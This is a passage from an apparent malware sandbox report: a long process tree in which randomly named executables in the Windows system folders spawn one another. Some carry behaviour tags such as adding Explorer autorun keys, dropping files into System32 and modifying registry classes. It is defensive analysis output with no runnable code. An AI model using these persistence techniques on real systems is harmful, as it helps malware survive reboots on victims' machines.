        C:\Windows\SysWOW64\Oognjkdi.exe
        
        C:\Windows\system32\Oognjkdi.exe
        134⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5460
        
        C:\Windows\SysWOW64\Oaejfgdl.exe
        
        C:\Windows\system32\Oaejfgdl.exe
        135⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        Modifies registry class
        
        PID:5588
        
        C:\Windows\SysWOW64\Oeafge32.exe
        
        C:\Windows\system32\Oeafge32.exe
        136⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5696
        
        C:\Windows\SysWOW64\Ohobca32.exe
        
        C:\Windows\system32\Ohobca32.exe
        137⤵
        
        PID:5768
        
        C:\Windows\SysWOW64\Oknool32.exe
        
        C:\Windows\system32\Oknool32.exe
        138⤵
        
        PID:5908
        
        C:\Windows\SysWOW64\Obefpjko.exe
        
        C:\Windows\system32\Obefpjko.exe
        139⤵
        
        PID:6032
        
        C:\Windows\SysWOW64\Oioomd32.exe
        
        C:\Windows\system32\Oioomd32.exe
        140⤵
        Modifies registry class
        
        PID:6136
        
        C:\Windows\SysWOW64\Olmkio32.exe
        
        C:\Windows\system32\Olmkio32.exe
        141⤵
        Modifies registry class
        
        PID:5212
        
        C:\Windows\SysWOW64\Oajcaf32.exe
        
        C:\Windows\system32\Oajcaf32.exe
        142⤵
        
        PID:5396
        
        C:\Windows\SysWOW64\Oiakbc32.exe
        
        C:\Windows\system32\Oiakbc32.exe
        143⤵
        
        PID:5540
        
        C:\Windows\SysWOW64\Okbhjlfg.exe
        
        C:\Windows\system32\Okbhjlfg.exe
        144⤵
        
        PID:5684
        
        C:\Windows\SysWOW64\Objpki32.exe
        
        C:\Windows\system32\Objpki32.exe
        145⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\Plbddomj.exe
        
        C:\Windows\system32\Plbddomj.exe
        146⤵
        
        PID:6124
        
        C:\Windows\SysWOW64\Popqpjmn.exe
        
        C:\Windows\system32\Popqpjmn.exe
        147⤵
        
        PID:5204
        
        C:\Windows\SysWOW64\Phieip32.exe
        
        C:\Windows\system32\Phieip32.exe
        148⤵
        
        PID:4560
        
        C:\Windows\SysWOW64\Pkgaek32.exe
        
        C:\Windows\system32\Pkgaek32.exe
        149⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\Paaibe32.exe
        
        C:\Windows\system32\Paaibe32.exe
        150⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\Pihacb32.exe
        
        C:\Windows\system32\Pihacb32.exe
        151⤵
        Modifies registry class
        
        PID:5464
        
        C:\Windows\SysWOW64\Poejki32.exe
        
        C:\Windows\system32\Poejki32.exe
        152⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\Pcqflhqb.exe
        
        C:\Windows\system32\Pcqflhqb.exe
        153⤵
        
        PID:4584
        
        C:\Windows\SysWOW64\Peobhcpe.exe
        
        C:\Windows\system32\Peobhcpe.exe
        154⤵
        
        PID:5360
        
        C:\Windows\SysWOW64\Plijen32.exe
        
        C:\Windows\system32\Plijen32.exe
        155⤵
        Modifies registry class
        
        PID:6108
        
        C:\Windows\SysWOW64\Poggai32.exe
        
        C:\Windows\system32\Poggai32.exe
        156⤵
        Modifies registry class
        
        PID:6152
        
        C:\Windows\SysWOW64\Phpkjo32.exe
        
        C:\Windows\system32\Phpkjo32.exe
        157⤵
        
        PID:6196
        
        C:\Windows\SysWOW64\Pkngfj32.exe
        
        C:\Windows\system32\Pkngfj32.exe
        158⤵
        
        PID:6236
        
        C:\Windows\SysWOW64\Pceogg32.exe
        
        C:\Windows\system32\Pceogg32.exe
        159⤵
        
        PID:6276
        
        C:\Windows\SysWOW64\Qiohdadi.exe
        
        C:\Windows\system32\Qiohdadi.exe
        160⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:6324
        
        C:\Windows\SysWOW64\Qhbhon32.exe
        
        C:\Windows\system32\Qhbhon32.exe
        161⤵
        
        PID:6360
        
        C:\Windows\SysWOW64\Qkqdkj32.exe
        
        C:\Windows\system32\Qkqdkj32.exe
        162⤵
        
        PID:6408
        
        C:\Windows\SysWOW64\Qajlhdad.exe
        
        C:\Windows\system32\Qajlhdad.exe
        163⤵
        
        PID:6452
        
        C:\Windows\SysWOW64\Qiadia32.exe
        
        C:\Windows\system32\Qiadia32.exe
        164⤵
        Modifies registry class
        
        PID:6500
        
        C:\Windows\SysWOW64\Qlpqem32.exe
        
        C:\Windows\system32\Qlpqem32.exe
        165⤵
        
        PID:6540
        
        C:\Windows\SysWOW64\Qcjibgig.exe
        
        C:\Windows\system32\Qcjibgig.exe
        166⤵
        
        PID:6588
        
        C:\Windows\SysWOW64\Aaminc32.exe
        
        C:\Windows\system32\Aaminc32.exe
        167⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:6632
        
        C:\Windows\SysWOW64\Ahgajngo.exe
        
        C:\Windows\system32\Ahgajngo.exe
        168⤵
        
        PID:6672
        
        C:\Windows\SysWOW64\Akenfifb.exe
        
        C:\Windows\system32\Akenfifb.exe
        169⤵
        
        PID:6720
        
        C:\Windows\SysWOW64\Aclehffd.exe
        
        C:\Windows\system32\Aclehffd.exe
        170⤵
        Modifies registry class
        
        PID:6764
        
        C:\Windows\SysWOW64\Aekbdbfh.exe
        
        C:\Windows\system32\Aekbdbfh.exe
        171⤵
        
        PID:6800
        
        C:\Windows\SysWOW64\Alejqlme.exe
        
        C:\Windows\system32\Alejqlme.exe
        172⤵
        
        PID:6848
        
        C:\Windows\SysWOW64\Aocfmgli.exe
        
        C:\Windows\system32\Aocfmgli.exe
        173⤵
        Drops file in System32 directory
        
        PID:6888
        
        C:\Windows\SysWOW64\Aaabickl.exe
        
        C:\Windows\system32\Aaabickl.exe
        174⤵
        
        PID:6924
        
        C:\Windows\SysWOW64\Ajijjplo.exe
        
        C:\Windows\system32\Ajijjplo.exe
        175⤵
        Modifies registry class
        
        PID:6968
        
        C:\Windows\SysWOW64\Akjgah32.exe
        
        C:\Windows\system32\Akjgah32.exe
        176⤵
        
        PID:7012
        
        C:\Windows\SysWOW64\Aadonbij.exe
        
        C:\Windows\system32\Aadonbij.exe
        177⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        Modifies registry class
        
        PID:7056
        
        C:\Windows\SysWOW64\Ajkgppjl.exe
        
        C:\Windows\system32\Ajkgppjl.exe
        178⤵
        Modifies registry class
        
        PID:7100
        
        C:\Windows\SysWOW64\Aklcghpj.exe
        
        C:\Windows\system32\Aklcghpj.exe
        179⤵
        
        PID:7144
        
        C:\Windows\SysWOW64\Acclheql.exe
        
        C:\Windows\system32\Acclheql.exe
        180⤵
        Drops file in System32 directory
        
        PID:6168
        
        C:\Windows\SysWOW64\Ajmdep32.exe
        
        C:\Windows\system32\Ajmdep32.exe
        181⤵
        
        PID:6228
        
        C:\Windows\SysWOW64\Akopmhng.exe
        
        C:\Windows\system32\Akopmhng.exe
        182⤵
        
        PID:6308
        
        C:\Windows\SysWOW64\Bcfhneoj.exe
        
        C:\Windows\system32\Bcfhneoj.exe
        183⤵
        Drops file in System32 directory
        
        PID:6356
        
        C:\Windows\SysWOW64\Bfddjqnm.exe
        
        C:\Windows\system32\Bfddjqnm.exe
        184⤵
        
        PID:6448
        
        C:\Windows\SysWOW64\Bhbaflma.exe
        
        C:\Windows\system32\Bhbaflma.exe
        185⤵
        
        PID:6528
        
        C:\Windows\SysWOW64\Bkambgle.exe
        
        C:\Windows\system32\Bkambgle.exe
        186⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\Bchece32.exe
        
        C:\Windows\system32\Bchece32.exe
        187⤵
        
        PID:6656
        
        C:\Windows\SysWOW64\Bjbmpodd.exe
        
        C:\Windows\system32\Bjbmpodd.exe
        188⤵
        
        PID:6728
        
        C:\Windows\SysWOW64\Boofhfbk.exe
        
        C:\Windows\system32\Boofhfbk.exe
        189⤵
        
        PID:6788
        
        C:\Windows\SysWOW64\Bbmbdaao.exe
        
        C:\Windows\system32\Bbmbdaao.exe
        190⤵
        
        PID:6868
        
        C:\Windows\SysWOW64\Bhgjak32.exe
        
        C:\Windows\system32\Bhgjak32.exe
        191⤵
        
        PID:5640
        
        C:\Windows\SysWOW64\Bkefmg32.exe
        
        C:\Windows\system32\Bkefmg32.exe
        192⤵
        
        PID:7008
        
        C:\Windows\SysWOW64\Bcmoodhb.exe
        
        C:\Windows\system32\Bcmoodhb.exe
        193⤵
        
        PID:5904
        
        C:\Windows\SysWOW64\Bfkkkpge.exe
        
        C:\Windows\system32\Bfkkkpge.exe
        194⤵
        
        PID:5340
        
        C:\Windows\SysWOW64\Bhiggkfi.exe
        
        C:\Windows\system32\Bhiggkfi.exe
        195⤵
        
        PID:6204
        
        C:\Windows\SysWOW64\Bkhccffm.exe
        
        C:\Windows\system32\Bkhccffm.exe
        196⤵
        
        PID:6300
        
        C:\Windows\SysWOW64\Bococe32.exe
        
        C:\Windows\system32\Bococe32.exe
        197⤵
        Modifies registry class
        
        PID:6424
        
        C:\Windows\SysWOW64\Bbbkpq32.exe
        
        C:\Windows\system32\Bbbkpq32.exe
        198⤵
        
        PID:6536
        
        C:\Windows\SysWOW64\Bjican32.exe
        
        C:\Windows\system32\Bjican32.exe
        199⤵
        
        PID:5208
        
        C:\Windows\SysWOW64\Bmgpmi32.exe
        
        C:\Windows\system32\Bmgpmi32.exe
        200⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:6744
        
        C:\Windows\SysWOW64\Coflie32.exe
        
        C:\Windows\system32\Coflie32.exe
        201⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:6844
        
        C:\Windows\SysWOW64\Cbdhepkg.exe
        
        C:\Windows\system32\Cbdhepkg.exe
        202⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:6964
        
        C:\Windows\SysWOW64\Cinpbj32.exe
        
        C:\Windows\system32\Cinpbj32.exe
        203⤵
        
        PID:7080
        
        C:\Windows\SysWOW64\Cmjlbikm.exe
        
        C:\Windows\system32\Cmjlbikm.exe
        204⤵
        Drops file in System32 directory
        
        PID:6028
        
        C:\Windows\SysWOW64\Cohiodjq.exe
        
        C:\Windows\system32\Cohiodjq.exe
        205⤵
        
        PID:6260
        
        C:\Windows\SysWOW64\Cbfekpid.exe
        
        C:\Windows\system32\Cbfekpid.exe
        206⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:6492
        
        C:\Windows\SysWOW64\Cjnmlmjf.exe
        
        C:\Windows\system32\Cjnmlmjf.exe
        207⤵
        
        PID:6712
        
        C:\Windows\SysWOW64\Ckoice32.exe
        
        C:\Windows\system32\Ckoice32.exe
        208⤵
        
        PID:6520
        
        C:\Windows\SysWOW64\Ccfaec32.exe
        
        C:\Windows\system32\Ccfaec32.exe
        209⤵
        Drops file in System32 directory
        
        PID:7064
        
        C:\Windows\SysWOW64\Ckafienb.exe
        
        C:\Windows\system32\Ckafienb.exe
        210⤵
        
        PID:6288
        
        C:\Windows\SysWOW64\Cchnjbnd.exe
        
        C:\Windows\system32\Cchnjbnd.exe
        211⤵
        
        PID:6564
        
        C:\Windows\SysWOW64\Cfgjfnmh.exe
        
        C:\Windows\system32\Cfgjfnmh.exe
        212⤵
        
        PID:6840
        
        C:\Windows\SysWOW64\Ciefbill.exe
        
        C:\Windows\system32\Ciefbill.exe
        213⤵
        
        PID:7120
        
        C:\Windows\SysWOW64\Cfiglnke.exe
        
        C:\Windows\system32\Cfiglnke.exe
        214⤵
        
        PID:6812
        
        C:\Windows\SysWOW64\Cigchi32.exe
        
        C:\Windows\system32\Cigchi32.exe
        215⤵
        
        PID:6808
        
        C:\Windows\SysWOW64\Dkfpdd32.exe
        
        C:\Windows\system32\Dkfpdd32.exe
        216⤵
        
        PID:6652
        
        C:\Windows\SysWOW64\Dbphaoaj.exe
        
        C:\Windows\system32\Dbphaoaj.exe
        217⤵
        Drops file in System32 directory
        
        PID:6828
        
        C:\Windows\SysWOW64\Djgpblal.exe
        
        C:\Windows\system32\Djgpblal.exe
        218⤵
        Drops file in System32 directory
        
        PID:6920
        
        C:\Windows\SysWOW64\Dbbdfnog.exe
        
        C:\Windows\system32\Dbbdfnog.exe
        219⤵
        
        PID:6872
        
        C:\Windows\SysWOW64\Djilhlpi.exe
        
        C:\Windows\system32\Djilhlpi.exe
        220⤵
        
        PID:7192
        
        C:\Windows\SysWOW64\Dmhidg32.exe
        
        C:\Windows\system32\Dmhidg32.exe
        221⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7232
        
        C:\Windows\SysWOW64\Dpfepb32.exe
        
        C:\Windows\system32\Dpfepb32.exe
        222⤵
        
        PID:7276
        
        C:\Windows\SysWOW64\Dfpmmmem.exe
        
        C:\Windows\system32\Dfpmmmem.exe
        223⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:7316
        
        C:\Windows\SysWOW64\Dmjeig32.exe
        
        C:\Windows\system32\Dmjeig32.exe
        224⤵
        
        PID:7572
        
        C:\Windows\SysWOW64\Dcdnfadg.exe
        
        C:\Windows\system32\Dcdnfadg.exe
        225⤵
        
        PID:7616
        
        C:\Windows\SysWOW64\Dfbjblck.exe
        
        C:\Windows\system32\Dfbjblck.exe
        226⤵
        
        PID:7660
        
        C:\Windows\SysWOW64\Diafnhbo.exe
        
        C:\Windows\system32\Diafnhbo.exe
        227⤵
        
        PID:7708
        
        C:\Windows\SysWOW64\Dlobjc32.exe
        
        C:\Windows\system32\Dlobjc32.exe
        228⤵
        
        PID:7748
        
        C:\Windows\SysWOW64\Dfefhl32.exe
        
        C:\Windows\system32\Dfefhl32.exe
        229⤵
        
        PID:7796
        
        C:\Windows\SysWOW64\Diccdg32.exe
        
        C:\Windows\system32\Diccdg32.exe
        230⤵
        
        PID:7836
        
        C:\Windows\SysWOW64\Elaopc32.exe
        
        C:\Windows\system32\Elaopc32.exe
        231⤵
        Drops file in System32 directory
        
        PID:7880
        
        C:\Windows\SysWOW64\Ecigap32.exe
        
        C:\Windows\system32\Ecigap32.exe
        232⤵
        
        PID:7920
        
        C:\Windows\SysWOW64\Ejconjgo.exe
        
        C:\Windows\system32\Ejconjgo.exe
        233⤵
        
        PID:7964
        
        C:\Windows\SysWOW64\Emakjffb.exe
        
        C:\Windows\system32\Emakjffb.exe
        234⤵
        
        PID:8000
        
        C:\Windows\SysWOW64\Epphfa32.exe
        
        C:\Windows\system32\Epphfa32.exe
        235⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:8052
        
        C:\Windows\SysWOW64\Ebndbm32.exe
        
        C:\Windows\system32\Ebndbm32.exe
        236⤵
        
        PID:8100
        
        C:\Windows\SysWOW64\Ejelcj32.exe
        
        C:\Windows\system32\Ejelcj32.exe
        237⤵
        
        PID:8144
        
        C:\Windows\SysWOW64\Elfhkbkj.exe
        
        C:\Windows\system32\Elfhkbkj.exe
        238⤵
        Drops file in System32 directory
        
        PID:8188
        
        C:\Windows\SysWOW64\Ebpqhl32.exe
        
        C:\Windows\system32\Ebpqhl32.exe
        239⤵
        Drops file in System32 directory
        
        PID:7216
        
        C:\Windows\SysWOW64\Eijidfjd.exe
        
        C:\Windows\system32\Eijidfjd.exe
        240⤵
        Drops file in System32 directory
        
        PID:7260
        
        C:\Windows\SysWOW64\Elieqbig.exe
        
        C:\Windows\system32\Elieqbig.exe
        241⤵
        
        PID:7364
        
        C:\Windows\SysWOW64\Ecpmbo32.exe
        
        C:\Windows\system32\Ecpmbo32.exe
        242⤵
        
        PID:7424
        
        C:\Windows\SysWOW64\Ejjeoiaf.exe
        
        C:\Windows\system32\Ejjeoiaf.exe
        243⤵
        Drops file in System32 directory
        
        PID:7468
        
        C:\Windows\SysWOW64\Emhakeqj.exe
        
        C:\Windows\system32\Emhakeqj.exe
        244⤵
        
        PID:7520
        
        C:\Windows\SysWOW64\Epgngppn.exe
        
        C:\Windows\system32\Epgngppn.exe
        245⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7464
        
        C:\Windows\SysWOW64\Ebejcloa.exe
        
        C:\Windows\system32\Ebejcloa.exe
        246⤵
        Drops file in System32 directory
        
        PID:7584
        
        C:\Windows\SysWOW64\Eiobpf32.exe
        
        C:\Windows\system32\Eiobpf32.exe
        247⤵
        
        PID:7656
        
        C:\Windows\SysWOW64\Flmola32.exe
        
        C:\Windows\system32\Flmola32.exe
        248⤵
        
        PID:7732
        
        C:\Windows\SysWOW64\Fcdfmo32.exe
        
        C:\Windows\system32\Fcdfmo32.exe
        249⤵
        
        PID:7780
        
        C:\Windows\SysWOW64\Ffccijeh.exe
        
        C:\Windows\system32\Ffccijeh.exe
        250⤵
        Modifies registry class
        
        PID:7876
        
        C:\Windows\SysWOW64\Fmmkfd32.exe
        
        C:\Windows\system32\Fmmkfd32.exe
        251⤵
        
        PID:7960
        
        C:\Windows\SysWOW64\Fpkgbp32.exe
        
        C:\Windows\system32\Fpkgbp32.exe
        252⤵
        
        PID:8032
        
        C:\Windows\SysWOW64\Fbjcnk32.exe
        
        C:\Windows\system32\Fbjcnk32.exe
        253⤵
        Drops file in System32 directory
        
        PID:8088
        
        C:\Windows\SysWOW64\Fjakoh32.exe
        
        C:\Windows\system32\Fjakoh32.exe
        254⤵
        
        PID:8132
        
        C:\Windows\SysWOW64\Flbhgqam.exe
        
        C:\Windows\system32\Flbhgqam.exe
        255⤵
        
        PID:7212
        
        C:\Windows\SysWOW64\Fdiphnbo.exe
        
        C:\Windows\system32\Fdiphnbo.exe
        256⤵
        
        PID:7360
        
        C:\Windows\SysWOW64\Ffhldi32.exe
        
        C:\Windows\system32\Ffhldi32.exe
        257⤵
        
        PID:7416
        
        C:\Windows\SysWOW64\Fifhpe32.exe
        
        C:\Windows\system32\Fifhpe32.exe
        258⤵
        Drops file in System32 directory
        
        PID:7508
        
        C:\Windows\SysWOW64\Fppqmogc.exe
        
        C:\Windows\system32\Fppqmogc.exe
        259⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7556
        
        C:\Windows\SysWOW64\Fdlmnn32.exe
        
        C:\Windows\system32\Fdlmnn32.exe
        260⤵
        
        PID:7636
        
        C:\Windows\SysWOW64\Fjeejhgi.exe
        
        C:\Windows\system32\Fjeejhgi.exe
        261⤵
        
        PID:7760
        
        C:\Windows\SysWOW64\Fmdafcfm.exe
        
        C:\Windows\system32\Fmdafcfm.exe
        262⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7848
        
        C:\Windows\SysWOW64\Fpbmboeq.exe
        
        C:\Windows\system32\Fpbmboeq.exe
        263⤵
        Modifies registry class
        
        PID:8008
        
        C:\Windows\SysWOW64\Fjhapg32.exe
        
        C:\Windows\system32\Fjhapg32.exe
        264⤵
        
        PID:8076
        
        C:\Windows\SysWOW64\Gmfnlb32.exe
        
        C:\Windows\system32\Gmfnlb32.exe
        265⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:8180
        
        C:\Windows\SysWOW64\Gpejhn32.exe
        
        C:\Windows\system32\Gpejhn32.exe
        266⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7312
        
        C:\Windows\SysWOW64\Gbcfdj32.exe
        
        C:\Windows\system32\Gbcfdj32.exe
        267⤵
        
        PID:7452
        
        C:\Windows\SysWOW64\Gjjneg32.exe
        
        C:\Windows\system32\Gjjneg32.exe
        268⤵
        
        PID:7548
        
        C:\Windows\SysWOW64\Glkkmoib.exe
        
        C:\Windows\system32\Glkkmoib.exe
        269⤵
        
        PID:7652
        
        C:\Windows\SysWOW64\Gdbcnmjd.exe
        
        C:\Windows\system32\Gdbcnmjd.exe
        270⤵
        
        PID:7872
        
        C:\Windows\SysWOW64\Gfaojhih.exe
        
        C:\Windows\system32\Gfaojhih.exe
        271⤵
        
        PID:8028
        
        C:\Windows\SysWOW64\Gmkggbpe.exe
        
        C:\Windows\system32\Gmkggbpe.exe
        272⤵
        
        PID:7272
        
        C:\Windows\SysWOW64\Gpiccnoi.exe
        
        C:\Windows\system32\Gpiccnoi.exe
        273⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:7504
        
        C:\Windows\SysWOW64\Gbhpoinl.exe
        
        C:\Windows\system32\Gbhpoinl.exe
        274⤵
        
        PID:7648
        
        C:\Windows\SysWOW64\Gkohqfoo.exe
        
        C:\Windows\system32\Gkohqfoo.exe
        275⤵
        
        PID:7928
        
        C:\Windows\SysWOW64\Gmmdmanb.exe
        
        C:\Windows\system32\Gmmdmanb.exe
        276⤵
        Drops file in System32 directory
        
        PID:6068
        
        C:\Windows\SysWOW64\Gplpimmf.exe
        
        C:\Windows\system32\Gplpimmf.exe
        277⤵
        
        PID:7692
        
        C:\Windows\SysWOW64\Gffheg32.exe
        
        C:\Windows\system32\Gffheg32.exe
        278⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:8140
        
        C:\Windows\SysWOW64\Giddab32.exe
        
        C:\Windows\system32\Giddab32.exe
        279⤵
        
        PID:7640
        
        C:\Windows\SysWOW64\Gpnmnm32.exe
        
        C:\Windows\system32\Gpnmnm32.exe
        280⤵
        
        PID:7492
        
        C:\Windows\SysWOW64\Gblijh32.exe
        
        C:\Windows\system32\Gblijh32.exe
        281⤵
        
        PID:8200
        
        C:\Windows\SysWOW64\Hkcale32.exe
        
        C:\Windows\system32\Hkcale32.exe
        282⤵
        
        PID:8240
        
        C:\Windows\SysWOW64\Hmbmha32.exe
        
        C:\Windows\system32\Hmbmha32.exe
        283⤵
        
        PID:8280
        
        C:\Windows\SysWOW64\Hbofph32.exe
        
        C:\Windows\system32\Hbofph32.exe
        284⤵
        
        PID:8324
        
        C:\Windows\SysWOW64\Hkfnae32.exe
        
        C:\Windows\system32\Hkfnae32.exe
        285⤵
        Modifies registry class
        
        PID:8360
        
        C:\Windows\SysWOW64\Hlgjinoe.exe
        
        C:\Windows\system32\Hlgjinoe.exe
        286⤵
        
        PID:8408
        
        C:\Windows\SysWOW64\Hdnbjk32.exe
        
        C:\Windows\system32\Hdnbjk32.exe
        287⤵
        Modifies registry class
        
        PID:8452
        
        C:\Windows\SysWOW64\Hgmoff32.exe
        
        C:\Windows\system32\Hgmoff32.exe
        288⤵
        
        PID:8484
        
        C:\Windows\SysWOW64\Hikkba32.exe
        
        C:\Windows\system32\Hikkba32.exe
        289⤵
        
        PID:8532
        
        C:\Windows\SysWOW64\Hlignm32.exe
        
        C:\Windows\system32\Hlignm32.exe
        290⤵
        Modifies registry class
        
        PID:8572
        
        C:\Windows\SysWOW64\Hdqopj32.exe
        
        C:\Windows\system32\Hdqopj32.exe
        291⤵
        
        PID:8612
        
        C:\Windows\SysWOW64\Hkkgldea.exe
        
        C:\Windows\system32\Hkkgldea.exe
        292⤵
        
        PID:8652
        
        C:\Windows\SysWOW64\Hmichpde.exe
        
        C:\Windows\system32\Hmichpde.exe
        293⤵
        
        PID:8692
        
        C:\Windows\SysWOW64\Hpgpdkci.exe
        
        C:\Windows\system32\Hpgpdkci.exe
        294⤵
        
        PID:8740
        
        C:\Windows\SysWOW64\Hgahaeke.exe
        
        C:\Windows\system32\Hgahaeke.exe
        295⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:8784
        
        C:\Windows\SysWOW64\Hmkpnp32.exe
        
        C:\Windows\system32\Hmkpnp32.exe
        296⤵
        
        PID:8824
        
        C:\Windows\SysWOW64\Hpjljk32.exe
        
        C:\Windows\system32\Hpjljk32.exe
        297⤵
        
        PID:8868
        
        C:\Windows\SysWOW64\Idhepigl.exe
        
        C:\Windows\system32\Idhepigl.exe
        298⤵
        Modifies registry class
        
        PID:8912
        
        C:\Windows\SysWOW64\Igfale32.exe
        
        C:\Windows\system32\Igfale32.exe
        299⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:8952
        
        C:\Windows\SysWOW64\Iidnhp32.exe
        
        C:\Windows\system32\Iidnhp32.exe
        300⤵
        
        PID:8992
        
        C:\Windows\SysWOW64\Ilcjdl32.exe
        
        C:\Windows\system32\Ilcjdl32.exe
        301⤵
        
        PID:9036
        
        C:\Windows\SysWOW64\Idjbfi32.exe
        
        C:\Windows\system32\Idjbfi32.exe
        302⤵
        
        PID:9080
        
        C:\Windows\SysWOW64\Icmbafld.exe
        
        C:\Windows\system32\Icmbafld.exe
        303⤵
        Drops file in System32 directory
        
        PID:9116
        
        C:\Windows\SysWOW64\Ijgjnp32.exe
        
        C:\Windows\system32\Ijgjnp32.exe
        304⤵
        
        PID:9164
        
        C:\Windows\SysWOW64\Ilefjk32.exe
        
        C:\Windows\system32\Ilefjk32.exe
        305⤵
        
        PID:9204
        
        C:\Windows\SysWOW64\Idloki32.exe
        
        C:\Windows\system32\Idloki32.exe
        306⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:8228
        
        C:\Windows\SysWOW64\Igkkgdbk.exe
        
        C:\Windows\system32\Igkkgdbk.exe
        307⤵
        
        PID:8304
        
        C:\Windows\SysWOW64\Ijigcpao.exe
        
        C:\Windows\system32\Ijigcpao.exe
        308⤵
        Modifies registry class
        
        PID:8368
        
        C:\Windows\SysWOW64\Ipcopj32.exe
        
        C:\Windows\system32\Ipcopj32.exe
        309⤵
        
        PID:8436
        
        C:\Windows\SysWOW64\Idokahad.exe
        
        C:\Windows\system32\Idokahad.exe
        310⤵
        
        PID:8492
        
        C:\Windows\SysWOW64\Igmgmdqh.exe
        
        C:\Windows\system32\Igmgmdqh.exe
        311⤵
        
        PID:8568
        
        C:\Windows\SysWOW64\Ijldiopl.exe
        
        C:\Windows\system32\Ijldiopl.exe
        312⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:8636
        
        C:\Windows\SysWOW64\Idahfhob.exe
        
        C:\Windows\system32\Idahfhob.exe
        313⤵
        
        PID:8700
        
        C:\Windows\SysWOW64\Jgpdbcne.exe
        
        C:\Windows\system32\Jgpdbcne.exe
        314⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:8760
        
        C:\Windows\SysWOW64\Jjnqoo32.exe
        
        C:\Windows\system32\Jjnqoo32.exe
        315⤵
        Drops file in System32 directory
        
        PID:8832
        
        C:\Windows\SysWOW64\Jdcelh32.exe
        
        C:\Windows\system32\Jdcelh32.exe
        316⤵
        
        PID:8896
        
        C:\Windows\SysWOW64\Jnliemdp.exe
        
        C:\Windows\system32\Jnliemdp.exe
        317⤵
        
        PID:8960
        
        C:\Windows\SysWOW64\Jloipj32.exe
        
        C:\Windows\system32\Jloipj32.exe
        318⤵
        
        PID:9024
        
        C:\Windows\SysWOW64\Jdfaag32.exe
        
        C:\Windows\system32\Jdfaag32.exe
        319⤵
        Drops file in System32 directory
        
        PID:9100
        
        C:\Windows\SysWOW64\Jkpjnabi.exe
        
        C:\Windows\system32\Jkpjnabi.exe
        320⤵
        
        PID:9156
        
        C:\Windows\SysWOW64\Jpmbfh32.exe
        
        C:\Windows\system32\Jpmbfh32.exe
        321⤵
        
        PID:7644
        
        C:\Windows\SysWOW64\Jcknbd32.exe
        
        C:\Windows\system32\Jcknbd32.exe
        322⤵
        Drops file in System32 directory
        
        PID:8320
        
        C:\Windows\SysWOW64\Jjefonga.exe
        
        C:\Windows\system32\Jjefonga.exe
        323⤵
        
        PID:8400
        
        C:\Windows\SysWOW64\Jlcckife.exe
        
        C:\Windows\system32\Jlcckife.exe
        324⤵
        
        PID:8508
        
        C:\Windows\SysWOW64\Jdjkmggg.exe
        
        C:\Windows\system32\Jdjkmggg.exe
        325⤵
        
        PID:7564
        
        C:\Windows\SysWOW64\Jgigibfk.exe
        
        C:\Windows\system32\Jgigibfk.exe
        326⤵
        
        PID:8724
        
        C:\Windows\SysWOW64\Jjgceneo.exe
        
        C:\Windows\system32\Jjgceneo.exe
        327⤵
        
        PID:8836
        
        C:\Windows\SysWOW64\Jqalahmk.exe
        
        C:\Windows\system32\Jqalahmk.exe
        328⤵
        
        PID:8948
        
        C:\Windows\SysWOW64\Kcphnclo.exe
        
        C:\Windows\system32\Kcphnclo.exe
        329⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        
        PID:8940
        
        C:\Windows\SysWOW64\Kkgpoqma.exe
        
        C:\Windows\system32\Kkgpoqma.exe
        330⤵
        
        PID:9172
        
        C:\Windows\SysWOW64\Knelklle.exe
        
        C:\Windows\system32\Knelklle.exe
        331⤵
        
        PID:8288
        
        C:\Windows\SysWOW64\Kqchggki.exe
        
        C:\Windows\system32\Kqchggki.exe
        332⤵
        
        PID:8476
        
        C:\Windows\SysWOW64\Kqhabg32.exe
        
        C:\Windows\system32\Kqhabg32.exe
        333⤵
        
        PID:8748
        
        C:\Windows\SysWOW64\Kcgnnb32.exe
        
        C:\Windows\system32\Kcgnnb32.exe
        334⤵
        
        PID:7336
        
        C:\Windows\SysWOW64\Kknfpp32.exe
        
        C:\Windows\system32\Kknfpp32.exe
        335⤵
        
        PID:9032
        
        C:\Windows\SysWOW64\Kqknhf32.exe
        
        C:\Windows\system32\Kqknhf32.exe
        336⤵
        
        PID:8236
        
        C:\Windows\SysWOW64\Kkpbeodf.exe
        
        C:\Windows\system32\Kkpbeodf.exe
        337⤵
        
        PID:7600
        
        C:\Windows\SysWOW64\Knooakcj.exe
        
        C:\Windows\system32\Knooakcj.exe
        338⤵
        
        PID:8728
        
        C:\Windows\SysWOW64\Kqmkmfbn.exe
        
        C:\Windows\system32\Kqmkmfbn.exe
        339⤵
        
        PID:8172
        
        C:\Windows\SysWOW64\Lggcjp32.exe
        
        C:\Windows\system32\Lggcjp32.exe
        340⤵
        
        PID:8472
        
        C:\Windows\SysWOW64\Lnalgjah.exe
        
